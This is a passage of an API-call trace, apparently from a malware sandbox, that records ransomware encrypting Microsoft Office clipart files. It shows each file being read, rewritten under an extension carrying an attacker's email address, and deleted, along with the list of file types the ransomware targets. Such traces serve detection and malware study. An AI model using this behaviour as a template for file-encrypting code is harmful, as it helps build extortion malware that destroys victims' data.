Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.247] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 1 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.248] lstrlenW (lpString=".doc") returned 4 [0282.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString=".docx") returned 5 [0282.248] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.248] lstrlenW (lpString=".pdf") returned 4 [0282.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.248] lstrlenW (lpString=".xls") returned 4 [0282.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.248] lstrlenW (lpString=".xlsx") returned 5 [0282.248] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.248] lstrlenW (lpString=".ppt") returned 4 [0282.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.249] lstrlenW (lpString=".zip") returned 4 [0282.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.249] lstrlenW (lpString=".rar") returned 4 [0282.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.249] lstrlenW (lpString=".bz2") returned 4 [0282.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.249] lstrlenW (lpString=".7z") returned 3 [0282.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.249] lstrlenW (lpString=".dbf") returned 4 [0282.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.249] lstrlenW (lpString=".1cd") returned 4 [0282.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF") returned 68 [0282.249] lstrlenW (lpString=".jpg") returned 4 [0282.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.250] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11152) returned 1 [0282.250] CloseHandle (hObject=0x554) returned 1 [0282.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0282.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.251] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.251] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.252] GetLastError () returned 0x0 [0282.252] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2b90, lpOverlapped=0x0) returned 1 [0282.258] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0282.261] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.261] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.261] SetEndOfFile (hFile=0x4ac) returned 1 [0282.261] CloseHandle (hObject=0x4ac) returned 1 [0282.261] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.261] SetEndOfFile (hFile=0x554) returned 1 [0282.270] CloseHandle (hObject=0x554) returned 1 [0282.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 1 [0282.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.279] lstrlenW (lpString=".doc") returned 4 [0282.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.279] lstrlenW (lpString=".docx") returned 5 [0282.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.279] lstrlenW (lpString=".pdf") returned 4 [0282.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.279] lstrlenW (lpString=".xls") returned 4 [0282.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.279] lstrlenW (lpString=".xlsx") returned 5 [0282.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.279] lstrlenW (lpString=".ppt") returned 4 [0282.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.279] lstrlenW (lpString=".zip") returned 4 [0282.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.280] lstrlenW (lpString=".rar") returned 4 [0282.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.280] lstrlenW (lpString=".bz2") returned 4 [0282.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.280] lstrlenW (lpString=".7z") returned 3 [0282.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.280] lstrlenW (lpString=".dbf") returned 4 [0282.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.280] lstrlenW (lpString=".1cd") returned 4 [0282.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF") returned 68 [0282.280] lstrlenW (lpString=".jpg") returned 4 [0282.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.281] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=9010) returned 1 [0282.281] CloseHandle (hObject=0x554) returned 1 [0282.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0282.281] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.282] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.282] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.283] GetLastError () returned 0x0 [0282.283] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x2332, lpOverlapped=0x0) returned 1 [0282.352] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x2340, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2340, lpOverlapped=0x0) returned 1 [0282.511] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.511] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.511] SetEndOfFile (hFile=0x4ac) returned 1 [0282.511] CloseHandle (hObject=0x4ac) returned 1 [0282.511] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.511] SetEndOfFile (hFile=0x554) returned 1 [0282.515] CloseHandle (hObject=0x554) returned 1 [0282.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 1 [0282.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.516] lstrlenW (lpString=".doc") returned 4 [0282.516] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.516] lstrlenW (lpString=".docx") returned 5 [0282.516] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.516] lstrlenW (lpString=".pdf") returned 4 [0282.516] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.516] lstrlenW (lpString=".xls") returned 4 [0282.516] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.516] lstrlenW (lpString=".xlsx") returned 5 [0282.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.516] lstrlenW (lpString=".ppt") returned 4 [0282.516] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.517] lstrlenW (lpString=".zip") returned 4 [0282.517] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.517] lstrlenW (lpString=".rar") returned 4 [0282.517] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.517] lstrlenW (lpString=".bz2") returned 4 [0282.517] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.517] lstrlenW (lpString=".7z") returned 3 [0282.517] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.517] lstrlenW (lpString=".dbf") returned 4 [0282.517] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.517] lstrlenW (lpString=".1cd") returned 4 [0282.517] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF") returned 68 [0282.517] lstrlenW (lpString=".jpg") returned 4 [0282.517] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.518] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15164) returned 1 [0282.518] CloseHandle (hObject=0x554) returned 1 [0282.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0282.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0282.519] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.520] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.520] GetLastError () returned 0x0 [0282.520] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x3b3c, lpOverlapped=0x0) returned 1 [0282.576] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3b40, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3b40, lpOverlapped=0x0) returned 1 [0282.578] ReadFile (in: hFile=0x554, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0282.578] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0282.578] SetEndOfFile (hFile=0x4ac) returned 1 [0282.591] CloseHandle (hObject=0x4ac) returned 1 [0282.592] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.592] SetEndOfFile (hFile=0x554) returned 1 [0282.610] CloseHandle (hObject=0x554) returned 1 [0282.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0282.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 1 [0282.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.616] lstrlenW (lpString=".doc") returned 4 [0282.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0282.616] lstrlenW (lpString=".docx") returned 5 [0282.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0282.616] lstrlenW (lpString=".pdf") returned 4 [0282.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0282.616] lstrlenW (lpString=".xls") returned 4 [0282.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0282.617] lstrlenW (lpString=".xlsx") returned 5 [0282.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0282.617] lstrlenW (lpString=".ppt") returned 4 [0282.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0282.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.617] lstrlenW (lpString=".zip") returned 4 [0282.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0282.617] lstrlenW (lpString=".rar") returned 4 [0282.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0282.617] lstrlenW (lpString=".bz2") returned 4 [0282.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0282.617] lstrlenW (lpString=".7z") returned 3 [0282.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0282.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.617] lstrlenW (lpString=".dbf") returned 4 [0282.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0282.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.617] lstrlenW (lpString=".1cd") returned 4 [0282.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0282.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68 [0282.618] lstrlenW (lpString=".jpg") returned 4 [0282.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0282.619] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=2412) returned 1 [0282.619] CloseHandle (hObject=0x4a8) returned 1 [0282.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0282.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0282.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0282.620] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.621] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0282.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0282.622] GetLastError () returned 0x0 [0282.622] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x96c, lpOverlapped=0x0) returned 1 [0282.683] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x970, lpOverlapped=0x0) returned 1 [0283.017] ReadFile (in: hFile=0x4a8, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0283.017] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0283.017] SetEndOfFile (hFile=0x4ac) returned 1 [0283.017] CloseHandle (hObject=0x4ac) returned 1 [0283.017] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0283.017] SetEndOfFile (hFile=0x4a8) returned 1 [0283.023] CloseHandle (hObject=0x4a8) returned 1 [0283.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 1 [0283.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.025] lstrlenW (lpString=".doc") returned 4 [0283.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.026] lstrlenW (lpString=".docx") returned 5 [0283.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.026] lstrlenW (lpString=".pdf") returned 4 [0283.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.026] lstrlenW (lpString=".xls") returned 4 [0283.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.026] lstrlenW (lpString=".xlsx") returned 5 [0283.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.026] lstrlenW (lpString=".ppt") returned 4 [0283.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.026] lstrlenW (lpString=".zip") returned 4 [0283.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.026] lstrlenW (lpString=".rar") returned 4 [0283.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.026] lstrlenW (lpString=".bz2") returned 4 [0283.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.027] lstrlenW (lpString=".7z") returned 3 [0283.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.027] lstrlenW (lpString=".dbf") returned 4 [0283.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.027] lstrlenW (lpString=".1cd") returned 4 [0283.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF") returned 68 [0283.030] lstrlenW (lpString=".jpg") returned 4 [0283.030] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 